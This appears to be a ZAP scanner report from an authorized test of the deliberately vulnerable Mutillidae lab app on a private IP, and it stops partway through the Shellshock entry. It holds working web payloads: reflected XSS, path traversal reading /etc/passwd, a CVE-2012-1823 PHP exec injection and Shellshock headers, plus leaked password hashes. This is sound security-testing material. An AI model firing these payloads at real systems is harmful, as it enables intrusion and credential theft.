



ZAP by
Checkmarx

ZAP by Checkmarx Scanning Report

Sites: <https://192.168.56.104> <http://192.168.56.104>

Generated on Thu, 30 Apr 2026 00:32:38

ZAP Version: 2.17.0

ZAP by [Checkmarx](#)

Summary of Alerts

Risk Level	Number of Alerts
High	10
Medium	10
Low	8
Informational	8

Insights

Level	Reason	Site	Description	Statistic
Low	Warning		ZAP warnings logged - see the zap. log file for details	21
Low	Exceeded High	http://192.168.56.104	Percentage of slow responses	78 %
Info	Informational	http://192.168.56.104	Percentage of responses with status code 2xx	93 %
Info	Informational	http://192.168.56.104	Percentage of responses with status code 3xx	3 %
Info	Informational	http://192.168.56.104	Percentage of responses with status code 4xx	2 %
Info	Informational	http://192.168.56.104	Percentage of endpoints with content type	1 %

			application /pdf	
Info	Informational	http://192.168.56.104	Percentage of endpoints with content type application /x-javascript	4 %
Info	Informational	http://192.168.56.104	Percentage of endpoints with content type image /gif	1 %
Info	Informational	http://192.168.56.104	Percentage of endpoints with content type image /jpeg	6 %
Info	Informational	http://192.168.56.104	Percentage of endpoints with content type image /png	7 %
Info	Informational	http://192.168.56.104	Percentage of endpoints with content type image /x-icon	1 %
Info	Informational	http://192.168.56.104	Percentage of endpoints with content type text /css	2 %
Info	Informational	http://192.168.56.104	Percentage of endpoints with content type text /html	76 %
Info	Informational	http://192.168.56.104	Percentage of endpoints with method GET	84 %
Info	Informational	http://192.168.56.104	Percentage of endpoints	15 %

			with method POST	
Info	Informational	http://192.168.56.104	Count of total endpoints	113
Info	Informational	https://192.168.56.104	Percentage of endpoints with method GET	100 %
Info	Informational	https://192.168.56.104	Count of total endpoints	1

Alerts

Name	Risk Level	Number of Instances
Cross Site Scripting (Reflected)	High	25
External Redirect	High	1
Hash Disclosure - MD5 Crypt	High	3
Path Traversal	High	20
Remote Code Execution - CVE-2012-1823	High	3
Remote Code Execution - Shell Shock	High	2
Remote OS Command Injection	High	1
SQL Injection - MySQL	High	10
SQL Injection - SQLite (Time Based)	High	1
Source Code Disclosure - CVE-2012-1823	High	3
Absence of Anti-CSRF Tokens	Medium	Systemic
Application Error Disclosure	Medium	15
Content Security Policy (CSP) Header Not Set	Medium	Systemic
Directory Browsing	Medium	Systemic
HTTP Only Site	Medium	1
Hidden File Found	Medium	1
Missing Anti-clickjacking Header	Medium	Systemic
Parameter Tampering	Medium	22
Vulnerable JS Library	Medium	1
XSLT Injection	Medium	14
Cookie No HttpOnly Flag	Low	2
Cookie without SameSite Attribute	Low	2
In Page Banner Information Leak	Low	Systemic
Information Disclosure - Debug Error Messages	Low	4
Private IP Disclosure	Low	2
Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s)	Low	Systemic
Server Leaks Version Information via "Server" HTTP Response Header Field	Low	Systemic

X-Content-Type-Options Header Missing	Low	Systemic
Authentication Request Identified	Informational	3
GET for POST	Informational	1
Information Disclosure - Sensitive Information in URL	Informational	5
Information Disclosure - Suspicious Comments	Informational	18
Modern Web Application	Informational	Systemic
Session Management Response Identified	Informational	2
User Agent Fuzzer	Informational	Systemic
User Controllable HTML Element Attribute (Potential XSS)	Informational	22

Alert Detail

High	Cross Site Scripting (Reflected)
	Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML /JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology. When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise.
Description	There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based. Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET and POST) is by using an embedded client, such as Adobe Flash. Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), just simply view the web page containing the code.
URL	http://192.168.56.104/mutillidae/?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	" onMouseOver="alert(1);
Evidence	" onMousseOver="alert(1);

Other Info	
URL	http://192.168.56.104/mutillidae/index.php?choice=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ctd%3E&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Node Name	http://192.168.56.104/mutillidae/index.php (choice,initials,page,user-poll-php-submit-button)
Method	GET
Attack	</td><script>alert(1);</script><td>
Evidence	</td><script>alert(1);</script><td>
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=%22+onMouseOver%3D%22alert%281%29%3B&user-poll-php-submit-button=Submit+Vote
Node Name	http://192.168.56.104/mutillidae/index.php (choice,initials,page,user-poll-php-submit-button)
Method	GET
Attack	" onmouseover="alert(1);
Evidence	" onmouseover="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?do=toggle-hints&page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (do,page)
Method	GET
Attack	" onmouseover="alert(1);
Evidence	" onmouseover="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?forwardurl=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&page=redirectandlog.php
Node Name	http://192.168.56.104/mutillidae/index.php (forwardurl,page)
Method	GET
Attack	"><script>alert(1);</script>
Evidence	"><script>alert(1);</script>
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?forwardurl=10&page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (forwardurl,page)
Method	GET
Attack	" onmouseover="alert(1);
Evidence	" onmouseover="alert(1);
Other Info	

URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button,username)
Method	GET
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B&username=anonymous
Node Name	http://192.168.56.104/mutillidae/index.php (page,username)
Method	GET
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=password-generator.php&username=%22%3Balert%281%29%3B%22
Node Name	http://192.168.56.104/mutillidae/index.php (page,username)
Method	GET
Attack	";alert(1);"
Evidence	";alert(1);"
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-

Name	viewer-php-submit-button)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-viewer-php-submit-button)
Method	POST
Attack	<script>alert(1);</script>
Evidence	<script>alert(1);</script>
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)(DOMStorageItem,DOMStorageKey,SessionStorageType)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)(add-to-your-blog-php-submit-button, blog_entry,csrf-token)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)(author,view-someones-blog-php-submit-button)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=set-background-color.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(background_color,set-background-color-php-submit-button)
Method	POST
Attack	"><script>alert(1);</script>

Evidence	"<script>alert(1);</script>
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)(background_color,set-background-color-php-submit-button)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)(dns-lookup-php-submit-button,target_host)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=dns-lookup.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(dns-lookup-php-submit-button,target_host)
Method	POST
Attack	<script>alert(1);</script>
Evidence	<script>alert(1);</script>
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password,username)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	

URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(page,password,user-info-php-submit-button,username)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%22+onMouseOver%3D%22alert%281%29%3B
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	" onMouseOver="alert(1);
Evidence	" onMouseOver="alert(1);
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	</blockquote><script>alert(1);</script><blockquote>
Evidence	</blockquote><script>alert(1);</script><blockquote>
Other Info	
Instances	25
	Phase: Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket. Phases: Implementation; Architecture and Design Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Consult the XSS Prevention Cheat Sheet for more details on the types of encoding and escaping that are needed. Phase: Architecture and Design For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-

Solution	side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
	If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
	Phase: Implementation
	For every web page that is generated, use and specify a character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing which encoding is actually being used by the web page. This can cause the web browser to treat certain sequences as special, opening up the client to subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping.
	To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
	Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
	When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."
	Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Reference	https://owasp.org/www-community/attacks/xss/ https://cwe.mitre.org/data/definitions/79.html
CWE Id	79
WASC Id	8
Plugin Id	40012

High	External Redirect
Description	URL redirectors represent common functionality employed by web sites to forward an incoming request to an alternate resource. This can be done for a variety of reasons and is often done to allow resources to be moved within the directory structure and to avoid breaking functionality for users that request the resource at its previous location. URL redirectors may also be used to implement load balancing, leveraging abbreviated URLs or recording outgoing links. It is this last implementation which is often used in phishing attacks as described in the example below. URL redirectors do not necessarily represent a direct security vulnerability but can be abused by attackers trying to social engineer victims into believing that they are navigating to a site other than the true destination.
URL	http://192.168.56.104/mutillidae/index.php?forwardurl=https%3A%2F%2F7667079560132512339.owasp.org&page=redirectandlog.php
Node Name	http://192.168.56.104/mutillidae/index.php (forwardurl,page)
Method	GET

Attack	https://7667079560132512339.owasp.org
Evidence	https://7667079560132512339.owasp.org
Other Info	The response contains a redirect in its meta http-equiv tag for 'Refresh' which allows an external Url to be set.
Instances	1
Solution	Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." Use an allow list of approved URLs or domains to be used for redirection. Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving your site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems when generating the disclaimer page. When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "https://www.example.com/". Features such as the ESAPI AccessReferenceMap provide this capability. Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html https://cwe.mitre.org/data/definitions/601.html
CWE Id	601
WASC Id	38
Plugin Id	20019

High	Hash Disclosure - MD5 Crypt
Description	A hash was disclosed by the web server. - MD5 Crypt
URL	http://192.168.56.104/mutillidae/?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	
Evidence	\$1\$41679370\$jwuQzIJkdSalmPIBewSAB0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php

Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	\$1\$67887988\$L Tix.hvb1uw5A0qtNCBG4.
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-viewer-php-submit-button)
Method	POST
Attack	
Evidence	\$1\$34209551\$7.fhZEjzAoNmUR8fpJwnj/
Other Info	
Instances	3
Solution	Ensure that hashes that are used to protect credentials or other resources are not leaked by the web server or database. There is typically no requirement for password hashes to be accessible to the web browser.
Reference	https://openwall.info/wiki/john/sample-hashes
CWE Id	497
WASC Id	13
Plugin Id	10097

High	Path Traversal
Description	The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal. Most web sites restrict user access to a specific portion of the file-system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended for user access and the executable necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences. The most basic Path Traversal attack uses the "../" special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the "../" sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward slash character, backslash characters ("..\") on Windows-based servers, URL encoded characters "%2e%2e%2f"), and double URL encoding ("..%255c") of the backslash character. Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NULL characters in order to bypass rudimentary file extension checks.
URL	http://192.168.56.104/mutillidae/?page=%2Fetc%2Fpasswd
Node	

Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=%2Fetc%2Fpasswd&user-poll-php-submit-button=Submit+Vote
Node Name	http://192.168.56.104/mutillidae/index.php (choice,initials,page,user-poll-php-submit-button)
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?do=toggle-hints&page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (do,page)
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?forwardurl=10&page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (forwardurl,page)
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button,username)
Method	GET
Attack	/etc/passwd

Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd&username=anonymous
Node Name	http://192.168.56.104/mutillidae/index.php (page,username)
Method	GET
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-viewer-php-submit-button)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-viewer-php-submit-button)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (page)(DOMStorageItem,DOMStorageKey,SessionStorageType)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node	http://192.168.56.104/mutillidae/index.php (page)(add-to-your-blog-php-submit-button,

Name	blog_entry,csrf-token)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (page)(author,view-someones-blog-php-submit-button)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (page)(background_color,set-background-color-php-submit-button)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (page)(dns-lookup-php-submit-button,target_host)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password,username)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other	

Info	
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(page,password,user-info-php-submit-button,username)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=%2Fetc%2Fpasswd
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	/etc/passwd
Evidence	root:x:0:0
Other Info	
Instances	20
Solution	Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue." For filenames, use stringent allow lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses, and exclude directory separators such as "/". Use an allow list of allowable file extensions. Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised. Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allow list schemes by introducing dangerous inputs after they have been checked.

	Use a built-in path canonicalization function (such as <code>realpath()</code> in C) that produces the canonical version of the pathname, which effectively removes "." sequences and symbolic links. Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, <code>java.io.FilePermission</code> in the Java SecurityManager allows you to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Reference	https://owasp.org/www-community/attacks/Path_Traversal https://cwe.mitre.org/data/definitions/22.html
CWE Id	22
WASC Id	33
Plugin Id	6

High	Remote Code Execution - CVE-2012-1823
Description	Some PHP versions, when configured to run using CGI, do not correctly handle query strings that lack an unescaped "=" character, enabling arbitrary code execution. In this case, an operating system command was caused to be executed on the web server, and the results were returned to the web browser.
URL	http://192.168.56.104/mutillidae/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
Node Name	http://192.168.56.104/mutillidae/ (-d allow_url_include=1 -d auto_prepend_f...)(<?php exec('echo 4n094r3upqf3b4gxe4kq',\$.))
Method	POST
Attack	<?php exec('echo 4n094r3upqf3b4gxe4kq', \$colm);echo join(" ", \$colm);die();?>
Evidence	4n094r3upqf3b4gxe4kq
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
Node Name	http://192.168.56.104/mutillidae/index.php (-d allow_url_include=1 -d auto_prepend_f...)(<?php exec('echo 4n094r3upqf3b4gxe4kq',\$.))
Method	POST
Attack	<?php exec('echo 4n094r3upqf3b4gxe4kq', \$colm);echo join(" ", \$colm);die();?>
Evidence	4n094r3upqf3b4gxe4kq
Other Info	
URL	http://192.168.56.104/mutillidae/set-up-database.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

Node Name	<code>http://192.168.56.104/mutillidae/set-up-database.php (-d allow_url_include=1 -d auto_prepend_f...)(<?php exec('echo 4n094r3upqf3b4gxe4kq',\$...))</code>
Method	POST
Attack	<code><?php exec('echo 4n094r3upqf3b4gxe4kq',\$colm);echo join(" ",\$colm);die();?></code>
Evidence	4n094r3upqf3b4gxe4kq
Other Info	
Instances	3
Solution	Upgrade to the latest stable version of PHP, or use the Apache web server and the mod_rewrite module to filter out malicious requests using the "RewriteCond" and "RewriteRule" directives.
Reference	https://owasp.org/www-community/vulnerabilities/Improper_Data_Validation https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html https://cwe.mitre.org/data/definitions/89.html
CWE Id	20
WASC Id	20
Plugin Id	20018

High	Remote Code Execution - Shell Shock
Description	The server is running a version of the Bash shell that allows remote attackers to execute arbitrary code.
URL	http://192.168.56.104/mutillidae/index.php?page=register.php
Node Name	<code>http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)</code>
Method	POST
Attack	<code>() { :}; /bin/sleep 15</code>
Evidence	Using the attack, a delay of [15,259] milliseconds was induced and detected
Other Info	From CVE-2014-6271: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.
URL	http://192.168.56.104/mutillidae/index.php?page=dns-lookup.php
Node Name	<code>http://192.168.56.104/mutillidae/index.php (page)(dns-lookup-php-submit-button,target_host)</code>
Method	POST
Attack	<code>() { :}; /bin/sleep 15</code>
Evidence	Using the attack, a delay of [15,263] milliseconds was induced and detected
